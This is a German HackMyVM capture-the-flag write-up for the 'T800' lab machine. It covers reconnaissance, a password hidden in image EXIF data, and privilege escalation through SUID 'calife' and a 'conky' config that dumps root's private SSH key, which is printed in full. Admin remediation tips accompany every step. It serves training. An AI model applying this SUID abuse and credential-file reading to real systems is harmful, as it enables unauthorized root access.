T800 - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
gobuster
nmap
curl
exiftool
ssh
cat
grep
find
/usr/bin/calife
vi / nano
conky
chmod
mv
bash
cd
ls
id

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment verwendet.

Bewertung: Ein Host mit der IP `192.168.2.142` und der MAC-Adresse `08:00:27:d4:34:69` (VirtualBox) wird als Zielsystem identifiziert.

Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.142 durch, um offene Ports und Dienste zu ermitteln.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung unbekannter Geräte.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.199
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.142	08:00:27:d4:34:69	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.881 seconds (136.10 hosts/sec). 1 responded
                    

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80 wird implizit angenommen) verwendet.

Bewertung: Findet `/index.html`, `/robots.txt` und ein potenziell interessantes Verzeichnis `/sexy/`.

Empfehlung (Pentester): Untersuche `/index.html`, `/robots.txt` und `/sexy/`. Führe einen Nmap-Scan durch, um die offenen Ports zu bestätigen.
Empfehlung (Admin): Überprüfe den Inhalt von Web-Verzeichnissen.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.142 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.142
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401,403
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/11/07 23:05:10 Starting gobuster 
===============================================================
http://192.168.2.142/index.html           (Status: 200) [Size: 160]
http://192.168.2.142/robots.txt           (Status: 200) [Size: 13]
http://192.168.2.142/sexy                 (Status: 301) [Size: 185] [--> http://192.168.2.142/sexy/]
===============================================================
2022/11/07 23:08:15 Finished 
===============================================================
                     

Analyse: Ein Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf 192.168.2.142 durchgeführt.

Bewertung: !!Ungewöhnlicher SSH-Port!!** - **Port 80 (HTTP):** Nginx 1.14.2. - **Port 800 (SSH):** OpenSSH 7.9p1 (Debian). Der SSH-Dienst läuft auf einem nicht standardmäßigen Port. Keine weiteren offenen Ports. Das OS ist Linux.

Empfehlung (Pentester): Untersuche den Webserver. Notiere den SSH-Port 800 für spätere Login-Versuche.
Empfehlung (Admin): Die Verwendung nicht standardmäßiger Ports bietet minimale zusätzliche Sicherheit ("Security through Obscurity"), erschwert aber möglicherweise die Verwaltung und das Monitoring. Stelle sicher, dass der Dienst selbst sicher konfiguriert ist.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.142 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-07 23:09 CET 
Nmap scan report for t800.vm (192.168.2.142) 
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
80/tcp  open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
800/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 6d:7e:d2:d5:d0:45:36:d7:c9:ed:3e:1d:5c:86:fb:e4 (RSA)
|   256 04:9d:9a:de:af:31:33:1c:7c:24:4a:97:38:76:f5:f7 (ECDSA)
|_  256 b0:8c:ed:ea:13:0f:03:2a:f3:60:8a:c3:ba:68:4a:be (ED25519)
MAC Address: 08:00:27:D4:34:69 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms t800.vm (192.168.2.142)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.21 seconds 
                     

Information Disclosure

Analyse: Der Inhalt der `/index.html` wird mit `curl` abgerufen.

Bewertung: !!Benutzername gefunden!!** Die Seite enthält nur den Text "Im ruut". Dies ist ein klarer Hinweis auf den Benutzernamen `ruut`.

Empfehlung (Pentester): Verwende `ruut` als Benutzernamen für SSH (Port 800). Suche nach einem Passwort.
Empfehlung (Admin): Entferne solche direkten Hinweise aus öffentlichen Dateien.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.142/index.html -s
 Im ruut
                     

Analyse: `exiftool` wird verwendet, um Metadaten aus einer Datei `nudeslut.jpeg` zu extrahieren. (Annahme: Diese Datei wurde zuvor aus dem Verzeichnis `/sexy/` heruntergeladen, was im Log fehlt).

Bewertung: !!Passwort gefunden!!** Im Kommentarfeld der Metadaten steht `passwd:chmodxheart`. Dies ist das Passwort für den Benutzer `ruut`.

Empfehlung (Pentester): Versuche den SSH-Login auf Port 800 mit `ruut` und `chmodxheart`.
Empfehlung (Admin):**DRINGEND:** Speichere niemals Passwörter in Bildmetadaten. Sichere das `/sexy/`-Verzeichnis oder entferne es.

┌──(root㉿cyber)-[~] └─# exiftool nudeslut.jpeg
ExifTool Version Number         : 12.44
File Name                       : nudeslut.jpeg
Directory                       : .
File Size                       : 12 kB
File Modification Date/Time     : 2021:04:08 08:00:00+02:00 
File Access Date/Time           : 2022:11:07 23:15:00+01:00 
File Inode Change Date/Time     : 2022:11:07 23:15:00+01:00 
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
X Resolution                    : 72 
Y Resolution                    : 72 
Resolution Unit                 : inches 
Y Cb Cr Positioning             : Centered 
Comment                         : passwd:chmodxheart 
Image Width                     : 500 
Image Height                    : 500 
Encoding Process                : Baseline DCT, Huffman coding 
Bits Per Sample                 : 8 
Color Components                : 3 
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2) 
Image Size                      : 500x500 
Megapixels                      : 0.250 
                     

Initial Access (ruut)

Analyse: Eine SSH-Verbindung wird als Benutzer `ruut` zum Ziel `t800.vm` (192.168.2.142) auf dem nicht standardmäßigen Port `800` aufgebaut. Das Passwort `chmodxheart` (aus Exif-Daten) wird eingegeben.

Bewertung: !!Initial Access erfolgreich!!** Der SSH-Login gelingt. Der Angreifer hat eine Shell als Benutzer `ruut`.

Empfehlung (Pentester): Beginne mit der Enumeration als `ruut` (User-Flag, sudo, SUID, andere Benutzer).
Empfehlung (Admin): Ändere das kompromittierte Passwort. Überwache SSH-Logins. Erwäge die Verwendung des Standard-SSH-Ports.

┌──(root㉿cyber)-[~] └─# ssh ruut@t800.vm -p 800
The authenticity of host '[t800.vm]:800 ([192.168.2.142]:800)' can't be established.
ED25519 key fingerprint is SHA256:NQDCK+YQrbsHYi1VtpjQA0dziHvQ5rqh5HTcD1GL/lo.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:22: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[t800.vm]:800' (ED25519) to the list of known hosts.
ruut@t800.vm's password: chmodxheart
Linux t800 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr  8 08:20:55 2021 from 192.168.1.58
ruut@t800:~$
                     

Analyse: Als `ruut` wird die `/etc/passwd`-Datei nach Benutzern mit Bash-Shell durchsucht.

Bewertung: Identifiziert die Benutzer `root`, `ruut` und `superruut`. `superruut` ist ein potenzielles Ziel für horizontale oder vertikale Bewegung.

Empfehlung (Pentester): Suche nach Wegen, um zu `superruut` oder `root` zu eskalieren.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Benutzerkonten existieren.

ruut@t800:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ruut:x:1000:1000:ruut,,,:/home/ruut:/bin/bash
superruut:x:1001:1001:,,,:/home/superruut:/bin/bash
                    

Privilege Escalation (ruut zu superruut)

Analyse: Als `ruut` wird mit `find` nach SUID-Binaries gesucht.

Bewertung: !!Zwei interessante SUID-Binaries gefunden!!** Neben Standard-SUID-Dateien werden `/usr/bin/conky` und `/usr/bin/calife` als SUID-Root gefunden. Beide sind potenzielle Eskalationsvektoren.

Empfehlung (Pentester): Untersuche beide Binaries. Führe sie aus, prüfe GTFOBins. `calife` wird im nächsten Schritt verwendet.
Empfehlung (Admin):**DRINGEND:** Entferne das SUID-Bit von `/usr/bin/conky` und `/usr/bin/calife`, da sie bekannte oder potenzielle Eskalationsrisiken darstellen.

ruut@t800:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
   137981    704 -rwsr-sr-x   1 root     root       718872 May 15  2018 /usr/bin/conky 
   131121     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   134473     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   134620     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   134946     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   137759     20 -rwsr-xr-x   1 root     root        19016 Mar 27  2018 /usr/bin/calife 
   131120     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   131118     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   131117     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   134948     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   146938    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
   268129     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   135697     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
                     

Analyse: Das SUID-Binary `calife` wird mit dem Benutzernamen `superruut` als Argument ausgeführt. Es fragt nach einem Passwort. Das Passwort `chmodxheart` (das gleiche wie für `ruut`) wird eingegeben.

Bewertung: !!Benutzerwechsel erfolgreich (zu superruut)!!** Das Passwort wird akzeptiert. `calife` startet `vim` (wahrscheinlich als Editor für eine Konfigurationsdatei von `superruut` oder als Standardaktion). Der Angreifer nutzt die `vim`-Funktion `:!bash`, um aus dem Editor auszubrechen und eine Shell als `superruut` zu erhalten. Passwort-Wiederverwendung war hier der Schlüssel.

Empfehlung (Pentester): Enumeriere als `superruut`. Suche nach der User-Flag und Root-Eskalationsvektoren.
Empfehlung (Admin): Entferne das SUID-Bit von `calife`. Verbiete Passwort-Wiederverwendung.

ruut@t800:~$ /usr/bin/calife superruut
Password:chmodxheart


superruut@t800:~$ 
                    

Analyse: Als `superruut` wird das Home-Verzeichnis untersucht und `userflag.txt` gelesen.

Bewertung: Die User-Flag `ruutrulezhmv` wird gefunden.

Empfehlung (Pentester): Notiere die Flag. Suche nach dem Root-Eskalationsvektor.
Empfehlung (Admin): Keine Aktion.

superruut@t800:~$ cd /home/superruut/
superruut@t800:/home/superruut$ ls
userflag.txt
superruut@t800:/home/superruut$ cat userflag.txt
ruutrulezhmv
                     

Privilege Escalation (superruut zu root)

Analyse: Als `superruut` wird eine `conky`-Konfigurationsdatei (`/tmp/conky.conf`) erstellt. Diese Datei weist `conky` an, die letzten 30 Zeilen der Root-SSH-Schlüsseldatei (`/root/.ssh/id_rsa`) auszugeben.

Bewertung: Vorbereitung für den Conky SUID Exploit. Der Benutzer `superruut` kann Dateien in `/tmp` erstellen.

Empfehlung (Pentester): Führe `conky` mit dieser Konfigurationsdatei aus.
Empfehlung (Admin): Keine Aktion.

superruut@t800:~$ nano /tmp/conky.conf

conky.config = {
       out_to_console = true,
       out_to_x = false,
}

conky.text = [[
${tail /root/.ssh/id_rsa 30}
]]
                     

Analyse: Es gibt einige Fehlversuche, `conky` zu starten (`cannot open /tmp/conky.conf`, `chmod +x .conkyrc`, `mv .conkyrc conky.conf`). Schließlich wird `conky -c /tmp/conky.conf` erfolgreich ausgeführt.

Bewertung: !!Root SSH-Schlüssel preisgegeben!!** Da `conky` SUID-Root ist und der Benutzer `superruut` es ausführen darf, liest `conky` gemäß der Konfigurationsdatei den privaten SSH-Schlüssel von Root (`/root/.ssh/id_rsa`) und gibt ihn auf der Konsole aus.

Empfehlung (Pentester): Kopiere den ausgegebenen Root-SSH-Schlüssel. Speichere ihn lokal (`idroot`), setze `chmod 600`, und verwende ihn, um dich als `root` per SSH (Port 800) anzumelden.
Empfehlung (Admin):**DRINGEND:** Entferne das SUID-Bit von `conky`. Widerrufe den kompromittierten Root-SSH-Schlüssel.

superruut@t800:/home/superruut$ cd /tmp/
superruut@t800:/tmp$ conky -c /tmp/conky.conf
conky: cannot open /tmp/conky.conf: No such file or directory 
superruut@t800:/tmp$ # Annahme: Datei wurde korrekt als conky.conf erstellt
superruut@t800:/tmp$ conky -c /tmp/conky.conf 

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA9qeXI0DQ29nXEAmGT7bQo0ZCAJkEwTTcIDwpWvqe/u4iBThfwW1f
d9IigvM+GKq43bde3p6xBFTC5/Z1bWN/g0Pi3GVmsScuZanV/PQiZ4UnmeFV5fevm6ED
piwXKKCKxGUS/vkLt4n9gNkmbjnTTzWVgJe9MhFKEkzUQFwn/pIBT3H0D/N5A7Yxu4FiF
2FQUZqacBJU+m/iHL4ep/2j+IcDzjSPI3RGwuW+qrJPg5rGeJt4JhuicobXip5W3f2cyx
tBazXKFCcpZD068j9zbM5j6TxpLNK0+fDVeBv9sK4mbdCb62Xms2+4IWKZQl20sFSKKe
EsuMtD5hhQAAA8Cn+gd6p/oHegAAAAdzc2gtcnNhAAABAQD2p5cjQNDb2dcQCYZPttCjRk
IAmQTBNNwgPCla+p7+7iIFF/BbV930iKC8z4Yqrjdt17enrEEVMLn9k7VtY3+DQ+LcZWa
xJw65lqdX89CJnhSeZ4VXl96+boQmLBcooIrEZRL++Qu3if2A2SZudNPNZWAl70yEU4o
STNRAXCf+kgFPcfQP83kDtjG7gWIXYVBRmppwElT6b+Icvh6n/aP4hwPNI8jdEbC45b6q
sk+DmsZ4m3gmG6JyhteKnlbd/ZzLG0FrNcoU4JylkPTryP3NszmPpPGks0rT58NV4G/2wr
iZt0Js7rZeazb7ghYplCXbSwVIop4Sy4y0PmGFAAAAAwEAAQAAAQB0tI1Vl9h6/dK9etQ7
KXQEnTyjjcNrK3iwI+cpbgYG92PPdoIQQpD2X84GidMq1rSL67SvyVguD5UhP1+Lt5Vg5
aEUyUHStnlIJNlfSzSzuMFmxfKYpHo3PpFrWqGv4xCWEkZJwZCRAHqF88sI1S1UJWIA5jR
Ju+zMw6pnGTVk7B+f6IQCNdKVXYcyjvMmgia3F8FymGxLjLF3gjZ5y+BeyH7WU7NUbTJz
UycA8KeIwet0yxDb99DyHNNw2jY4QvYSqJbkmKCPv4QSji+qVvcY5UHPLFpa65rMai15
MkNAic3cHZnjTAxmiGWFjLNSjojl+2+YsPLiC2ohAAAAgCM8D2TcU9IoViI3Q126J
vskHgBTCT0uFHcF8JoiWZx3cMbtIg+ClXpviMDbNuRLStMvW6CvaANz9qPr6fpz6uQsz
BisQVyF6YigjPIfhkuJ3ThkwMjVGSxpghzUVjUXbaX+nAeWK5yM081/qEBW+n9VktYmWsj
0Vo9S/d2+AAAAgQD8F15FPhU50yxVwrx6+YTz71zgG1C3G9R6Ie1EuY4GbTpW5IqHeP
izBlAKPh2veQhaPbonvKjhzGVdsRIrS3j4uYQVUeyqeqR07BjgWFMu8NEDuF+H8QxWbLVh
fFFqaUkw4++ZMsez7lfB/k/pkSoSY5tsf5Pbtq/pgKaEyjQAAAIEA+nqkc4BCKd5VDLJK
KC4RY8QJoAzuF7azzTqDvC2vJPtkEElm1fE4iDQ/oA+jBhyU84umffuagnr2vT2Wgke
L99/4JC4VCcmTFi8mVkpK6zf4/M8GQckso0cAyTXT/UhMYnw9fUj4EF8S6/nmxjuMyfQxD
6ewvAde96sKmqNkAAAAJcm9vdEB0DAwAQI=
-----END OPENSSH PRIVATE KEY-----
                      

Proof of Concept (Root)

Analyse: Eine SSH-Verbindung wird als `root` zum Ziel `t800.vm` auf Port 800 aufgebaut. Der zuvor durch `conky` preisgegebene private Schlüssel wird verwendet (angenommen in Datei `idroot` gespeichert).

Bewertung: !!Privilegieneskalation erfolgreich!!** Der SSH-Login als `root` mit dem Schlüssel gelingt (der Schlüssel ist offenbar nicht passwortgeschützt).

Empfehlung (Pentester): Ziel erreicht. Lese die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Widerrufe den kompromittierten Root-SSH-Schlüssel. Generiere einen neuen, sicheren Schlüssel mit Passphrase. Entferne die SUID-Bits von `conky` und `calife`. Korrigiere unsichere Passwortpraktiken.

┌──(root㉿cyber)-[~] └─# ssh root@t800.vm -i idroot -p 800
Linux t800 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
...
Last login: Thu Apr  8 08:18:02 2021
root@t800:~# 
                      

Analyse: Als Root wird die Datei `rootflag.txt` gelesen.

Bewertung: Root-Flag `hmvtitoroot` erfolgreich gelesen.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.

root@t800:~# ls
rootflag.txt
root@t800:~# cat rootflag.txt
hmvtitoroot
                      

Flags

cat /root/rootflag.txt
hmvtitoroot
cat /home/superruut/userflag.txt
ruutrulezhmv